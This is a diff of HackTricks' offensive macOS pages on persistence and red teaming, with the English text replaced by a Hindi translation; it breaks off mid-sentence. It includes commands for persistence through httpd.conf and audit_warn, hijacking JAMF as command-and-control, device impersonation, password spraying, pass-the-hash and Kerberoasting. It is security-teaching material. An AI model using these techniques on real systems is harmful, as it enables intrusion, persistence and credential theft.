[🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए और अपाचे चल रहा होना चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) +- Httpd के पास अधिकार नहीं हैं -#### Location +#### स्थान - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- रूट आवश्यक +- ट्रिगर: जब Apache2 शुरू होता है -#### Description & Exploit - -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: +#### विवरण और शोषण +आप `/etc/apache2/httpd.conf` में एक लाइन जोड़कर एक मॉड्यूल लोड करने का संकेत दे सकते हैं जैसे: ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +इस तरह आपका संकलित मॉड्यूल Apache द्वारा लोड किया जाएगा। केवल एक चीज है कि या तो आपको **इसे एक मान्य Apple प्रमाणपत्र के साथ साइन करना होगा**, या आपको **सिस्टम में एक नया विश्वसनीय प्रमाणपत्र जोड़ना होगा** और **इसके साथ साइन करना होगा**। -This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +फिर, यदि आवश्यक हो, तो यह सुनिश्चित करने के लिए कि सर्वर शुरू होगा, आप निष्पादित कर सकते हैं: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Dylb के लिए कोड उदाहरण: ```objectivec #include #include @@ -1519,137 +1408,127 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - -### BSM audit framework +### BSM ऑडिट ढांचा Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- सैंडबॉक्स को बायपास करने के लिए उपयोगी: [🟠](https://emojipedia.org/large-orange-circle) +- लेकिन आपको रूट होना चाहिए, auditd चल रहा होना चाहिए और एक चेतावनी उत्पन्न करनी चाहिए +- TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### स्थान - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- रूट आवश्यक +- **ट्रिगर**: जब auditd एक चेतावनी का पता लगाता है -#### Description & Exploit - -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. +#### विवरण और शोषण +जब भी auditd एक चेतावनी का पता लगाता है, स्क्रिप्ट **`/etc/security/audit_warn`** **चलायी जाती** है। इसलिए आप इसमें अपना पेलोड जोड़ सकते हैं। ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +आप `sudo audit -n` के साथ एक चेतावनी मजबूर कर सकते हैं। -You could force a warning with `sudo audit -n`. +### स्टार्टअप आइटम -### Startup Items +> [!CAUTION] > **यह अप्रचलित है, इसलिए उन निर्देशिकाओं में कुछ भी नहीं मिलना चाहिए।** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +**StartupItem** एक निर्देशिका है जो `/Library/StartupItems/` या `/System/Library/StartupItems/` में स्थित होनी चाहिए। एक बार यह निर्देशिका स्थापित हो जाने के बाद, इसमें दो विशिष्ट फ़ाइलें होनी चाहिए: -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. एक **rc स्क्रिप्ट**: एक शेल स्क्रिप्ट जो स्टार्टअप पर निष्पादित होती है। +2. एक **plist फ़ाइल**, विशेष रूप से `StartupParameters.plist` नाम की, जिसमें विभिन्न कॉन्फ़िगरेशन सेटिंग्स होती हैं। -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +सुनिश्चित करें कि दोनों rc स्क्रिप्ट और `StartupParameters.plist` फ़ाइल **StartupItem** निर्देशिका के अंदर सही तरीके से रखी गई हैं ताकि स्टार्टअप प्रक्रिया उन्हें पहचान सके और उनका उपयोग कर सके। {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> मैं अपने macOS में इस घटक को नहीं ढूंढ पा रहा हूँ, इसलिए अधिक जानकारी के लिए लेख देखें -Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +लेख: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Apple द्वारा पेश किया गया, **emond** एक लॉगिंग तंत्र है जो अधूरे या संभवतः छोड़ दिए गए प्रतीत होता है, फिर भी यह सुलभ है। जबकि यह एक Mac प्रशासक के लिए विशेष रूप से लाभकारी नहीं है, यह अस्पष्ट सेवा खतरे के अभिनेताओं के लिए एक सूक्ष्म स्थायी विधि के रूप में कार्य कर सकती है, जो संभवतः अधिकांश macOS प्रशासकों द्वारा अनदेखी रह जाएगी। +जो लोग इसके अस्तित्व से अवगत हैं, उनके लिए **emond** के किसी भी दुर्भावनापूर्ण उपयोग की पहचान करना सीधा है। इस सेवा के लिए सिस्टम का LaunchDaemon एक ही निर्देशिका में निष्पादित करने के लिए स्क्रिप्ट की तलाश करता है। इसे निरीक्षण करने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -#### Location +#### स्थान - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- रूट आवश्यक +- **ट्रिगर**: XQuartz के साथ -#### Description & Exploit +#### विवरण & शोषण -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartz **अब macOS में स्थापित नहीं है**, इसलिए यदि आप अधिक जानकारी चाहते हैं तो लेख को देखें। ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> क्स्ट को रूट के रूप में स्थापित करना इतना जटिल है कि मैं इसे सैंडबॉक्स से बचने या यहां तक कि स्थिरता के लिए नहीं मानूंगा (जब तक आपके पास एक शोषण न हो) -#### Location +#### स्थान -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +एक KEXT को स्टार्टअप आइटम के रूप में स्थापित करने के लिए, इसे **निम्नलिखित स्थानों में से एक में स्थापित किया जाना चाहिए**: - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- KEXT फ़ाइलें OS X ऑपरेटिंग सिस्टम में निर्मित। - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- KEXT फ़ाइलें 3rd पार्टी सॉफ़्टवेयर द्वारा स्थापित की गईं +आप वर्तमान में लोड की गई kext फ़ाइलों को सूचीबद्ध कर सकते हैं: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1536,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +अधिक जानकारी के लिए [**kernel extensions इस अनुभाग की जांच करें**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)। ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +लेख: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### स्थान - **`/usr/local/bin/amstoold`** - - Root required +- रूट आवश्यक -#### Description & Exploitation +#### विवरण और शोषण -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +स्पष्ट रूप से `/System/Library/LaunchAgents/com.apple.amstoold.plist` से `plist` इस बाइनरी का उपयोग कर रहा था जबकि एक XPC सेवा को उजागर कर रहा था... समस्या यह है कि बाइनरी मौजूद नहीं थी, इसलिए आप वहां कुछ रख सकते हैं और जब XPC सेवा को कॉल किया जाएगा, आपकी बाइनरी को कॉल किया जाएगा। -I can no longer find this in my macOS. +मैं अब इसे अपने macOS में नहीं ढूंढ पा रहा हूँ। ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +लेख: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### स्थान - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- रूट आवश्यक +- **ट्रिगर**: जब सेवा चलाई जाती है (कभी-कभी) -#### Description & exploit +#### विवरण और शोषण -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +स्पष्ट रूप से इस स्क्रिप्ट को चलाना बहुत सामान्य नहीं है और मैं इसे अपने macOS में भी नहीं ढूंढ सका, इसलिए यदि आप अधिक जानकारी चाहते हैं तो लेख की जांच करें। ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!CAUTION] > **यह आधुनिक MacOS संस्करणों में काम नहीं कर रहा है** +यहां **कमांड रखना भी संभव है जो स्टार्टअप पर निष्पादित होंगे।** नियमित rc.common स्क्रिप्ट का उदाहरण: ```bash # # Common setup for startup scripts. @@ -1734,16 +1611,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1630,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1656,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## स्थायी तकनीकें और उपकरण - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..0274771af 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,117 +2,106 @@ {{#include ../../banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## MDMs का दुरुपयोग - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +यदि आप प्रबंधन प्लेटफ़ॉर्म तक पहुँचने के लिए **व्यवस्थापक क्रेडेंशियल्स से समझौता** करने में सफल होते हैं, तो आप **संभावित रूप से सभी कंप्यूटरों से समझौता** कर सकते हैं अपने मैलवेयर को मशीनों में वितरित करके। -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +MacOS वातावरण में रेड टीमिंग के लिए MDMs के काम करने के तरीके की कुछ समझ होना अत्यधिक अनुशंसित है: {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### C2 के रूप में MDM का उपयोग करना -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +एक MDM के पास प्रोफाइल स्थापित करने, क्वेरी करने या हटाने, एप्लिकेशन स्थापित करने, स्थानीय व्यवस्थापक खाते बनाने, फर्मवेयर पासवर्ड सेट करने, FileVault कुंजी बदलने की अनुमति होगी... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +अपने स्वयं के MDM को चलाने के लिए आपको **अपने CSR को एक विक्रेता द्वारा हस्ताक्षरित** कराना होगा, जिसे आप [**https://mdmcert.download/**](https://mdmcert.download/) से प्राप्त करने की कोशिश कर सकते हैं। और Apple उपकरणों के लिए अपने स्वयं के MDM को चलाने के लिए आप [**MicroMDM**](https://github.com/micromdm/micromdm) का उपयोग कर सकते हैं। -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +हालांकि, एक नामांकित उपकरण में एप्लिकेशन स्थापित करने के लिए, आपको इसे एक डेवलपर खाते द्वारा हस्ताक्षरित कराने की आवश्यकता है... हालाँकि, MDM नामांकन के दौरान **उपकरण MDM के SSL प्रमाणपत्र को एक विश्वसनीय CA के रूप में जोड़ता है**, इसलिए आप अब कुछ भी हस्ताक्षरित कर सकते हैं। -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +MDM में उपकरण को नामांकित करने के लिए, आपको एक **`mobileconfig`** फ़ाइल को रूट के रूप में स्थापित करना होगा, जिसे **pkg** फ़ाइल के माध्यम से वितरित किया जा सकता है (आप इसे ज़िप में संकुचित कर सकते हैं और जब इसे सफारी से डाउनलोड किया जाता है, तो यह अनसंकुचित हो जाएगा)। -**Mythic agent Orthrus** uses this technique. +**Mythic एजेंट Orthrus** इस तकनीक का उपयोग करता है। -### Abusing JAMF PRO +### JAMF PRO का दुरुपयोग -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMF **कस्टम स्क्रिप्ट** (sysadmin द्वारा विकसित स्क्रिप्ट), **स्थानीय पेलोड** (स्थानीय खाता निर्माण, EFI पासवर्ड सेट करना, फ़ाइल/प्रक्रिया निगरानी...) और **MDM** (उपकरण कॉन्फ़िगरेशन, उपकरण प्रमाणपत्र...) चला सकता है। -#### JAMF self-enrolment +#### JAMF स्व-नामांकन -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +जैसे पृष्ठ पर जाएं `https://.jamfcloud.com/enroll/` यह देखने के लिए कि क्या उनके पास **स्व-नामांकन सक्षम** है। यदि उनके पास है, तो यह **पहुँच के लिए क्रेडेंशियल्स** मांग सकता है। -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +आप पासवर्ड स्प्रेइंग हमले को करने के लिए स्क्रिप्ट [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) का उपयोग कर सकते हैं। -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +इसके अलावा, उचित क्रेडेंशियल्स खोजने के बाद, आप अगले फॉर्म के साथ अन्य उपयोगकर्ता नामों को ब्रूट-फोर्स करने में सक्षम हो सकते हैं: ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### JAMF उपकरण प्रमाणीकरण
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +**`jamf`** बाइनरी में कीचेन को खोलने का रहस्य था जो खोज के समय सभी के बीच **साझा** था और यह था: **`jk23ucnq91jfu9aj`**।\ +इसके अलावा, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** में **LaunchDaemon** के रूप में **स्थायी** रहता है। -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### JAMF उपकरण अधिग्रहण +**JSS** (Jamf सॉफ़्टवेयर सर्वर) **URL** जो **`jamf`** उपयोग करेगा, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** में स्थित है।\ +यह फ़ाइल मूल रूप से URL को समाहित करती है: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +तो, एक हमलावर एक दुर्भावनापूर्ण पैकेज (`pkg`) छोड़ सकता है जो स्थापित होने पर **इस फ़ाइल को अधिलेखित करता है** और **Typhon एजेंट से एक Mythic C2 श्रोता के लिए URL सेट करता है** ताकि अब JAMF का दुरुपयोग C2 के रूप में किया जा सके। ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` +#### JAMF धोखाधड़ी -#### JAMF Impersonation +एक डिवाइस और JMF के बीच **धोखाधड़ी करने** के लिए आपको आवश्यकता है: -In order to **impersonate the communication** between a device and JMF you need: +- डिवाइस का **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- **JAMF कीचेन**: `/Library/Application\ Support/Jamf/JAMF.keychain` जिसमें डिवाइस का प्रमाणपत्र होता है -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +इस जानकारी के साथ, **एक VM बनाएं** जिसमें **चुराया हुआ** हार्डवेयर **UUID** हो और **SIP अक्षम** हो, **JAMF कीचेन** को डालें, Jamf **एजेंट** को **हुक** करें और इसकी जानकारी चुराएं। -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. - -#### Secrets stealing +#### रहस्यों की चोरी

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +आप `/Library/Application Support/Jamf/tmp/` स्थान की निगरानी भी कर सकते हैं जहाँ **कस्टम स्क्रिप्ट** हो सकती हैं जिन्हें व्यवस्थापक Jamf के माध्यम से निष्पादित करना चाहते हैं क्योंकि ये **यहाँ रखी जाती हैं, निष्पादित की जाती हैं और हटा दी जाती हैं**। ये स्क्रिप्ट **प्रमाण पत्र** रख सकती हैं। -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +हालांकि, **प्रमाण पत्र** इन स्क्रिप्टों में **पैरामीटर** के रूप में पास किए जा सकते हैं, इसलिए आपको `ps aux | grep -i jamf` की निगरानी करने की आवश्यकता होगी (बिना रूट बने)। -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +स्क्रिप्ट [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) नए फ़ाइलों को जोड़े जाने और नए प्रक्रिया तर्कों के लिए सुन सकती है। -### macOS Remote Access +### macOS दूरस्थ पहुंच -And also about **MacOS** "special" **network** **protocols**: +और **MacOS** "विशेष" **नेटवर्क** **प्रोटोकॉल** के बारे में: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md {{#endref}} -## Active Directory +## सक्रिय निर्देशिका -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +कुछ अवसरों पर आप पाएंगे कि **MacOS कंप्यूटर एक AD से जुड़ा है**। इस परिदृश्य में आपको सक्रिय निर्देशिका को **गणना** करने का प्रयास करना चाहिए जैसा कि आप इसके लिए उपयोग करते हैं। निम्नलिखित पृष्ठों में कुछ **सहायता** प्राप्त करें: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +115,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +कुछ **स्थानीय MacOS उपकरण** जो आपकी मदद कर सकते हैं वह है `dscl`: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +इसके अलावा, MacOS के लिए कुछ उपकरण तैयार किए गए हैं जो AD को स्वचालित रूप से सूचीबद्ध करने और kerberos के साथ खेलने के लिए हैं: -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound): MacHound एक Bloodhound ऑडिटिंग उपकरण का विस्तार है जो MacOS होस्ट पर Active Directory संबंधों को एकत्रित और ग्रहण करने की अनुमति देता है। +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost एक Objective-C प्रोजेक्ट है जिसे macOS पर Heimdal krb5 APIs के साथ इंटरैक्ट करने के लिए डिज़ाइन किया गया है। इस प्रोजेक्ट का लक्ष्य macOS उपकरणों पर Kerberos के चारों ओर बेहतर सुरक्षा परीक्षण सक्षम करना है, जो कि किसी अन्य ढांचे या पैकेज की आवश्यकता के बिना स्वदेशी APIs का उपयोग करता है। +- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory सूचीकरण करने के लिए Automation (JXA) के लिए JavaScript उपकरण। +### डोमेन जानकारी ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` - ### Users -The three types of MacOS users are: +MacOS उपयोगकर्ताओं के तीन प्रकार हैं: -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +- **स्थानीय उपयोगकर्ता** — स्थानीय OpenDirectory सेवा द्वारा प्रबंधित, वे किसी भी तरह से Active Directory से जुड़े नहीं हैं। +- **नेटवर्क उपयोगकर्ता** — अस्थायी Active Directory उपयोगकर्ता जिन्हें प्रमाणीकरण के लिए DC सर्वर से कनेक्शन की आवश्यकता होती है। +- **मोबाइल उपयोगकर्ता** — Active Directory उपयोगकर्ता जिनके पास अपनी क्रेडेंशियल्स और फ़ाइलों का स्थानीय बैकअप होता है। -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. +उपयोगकर्ताओं और समूहों के बारे में स्थानीय जानकारी फ़ोल्डर _/var/db/dslocal/nodes/Default._ में संग्रहीत होती है।\ +उदाहरण के लिए, _mark_ नाम के उपयोगकर्ता की जानकारी _/var/db/dslocal/nodes/Default/users/mark.plist_ में संग्रहीत होती है और समूह _admin_ की जानकारी _/var/db/dslocal/nodes/Default/groups/admin.plist_ में होती है। -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +HasSession और AdminTo किनारों का उपयोग करने के अलावा, **MacHound Bloodhound डेटाबेस में तीन नए किनारे जोड़ता है**: +- **CanSSH** - इकाई को होस्ट पर SSH करने की अनुमति है +- **CanVNC** - इकाई को होस्ट पर VNC करने की अनुमति है +- **CanAE** - इकाई को होस्ट पर AppleEvent स्क्रिप्ट निष्पादित करने की अनुमति है ```bash #User enumeration dscl . ls /Users @@ -182,71 +166,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +अधिक जानकारी के लिए [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ password - -Get passwords using: +### Computer$ पासवर्ड +पासवर्ड प्राप्त करने के लिए: ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` +**`Computer$`** पासवर्ड को सिस्टम कीचेन के अंदर एक्सेस करना संभव है। -It's possible to access the **`Computer$`** password inside the System keychain. - -### Over-Pass-The-Hash - -Get a TGT for an specific user and service: +### ओवर-पास-दी-हैश +एक विशिष्ट उपयोगकर्ता और सेवा के लिए TGT प्राप्त करें: ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +एक बार TGT इकट्ठा हो जाने के बाद, इसे वर्तमान सत्र में इंजेक्ट करना संभव है: ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - -### Kerberoasting - +### केर्बेरॉस्टिंग ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +प्राप्त सेवा टिकटों के साथ अन्य कंप्यूटरों में शेयरों तक पहुँचने की कोशिश करना संभव है: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## Keychain तक पहुँचना -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a 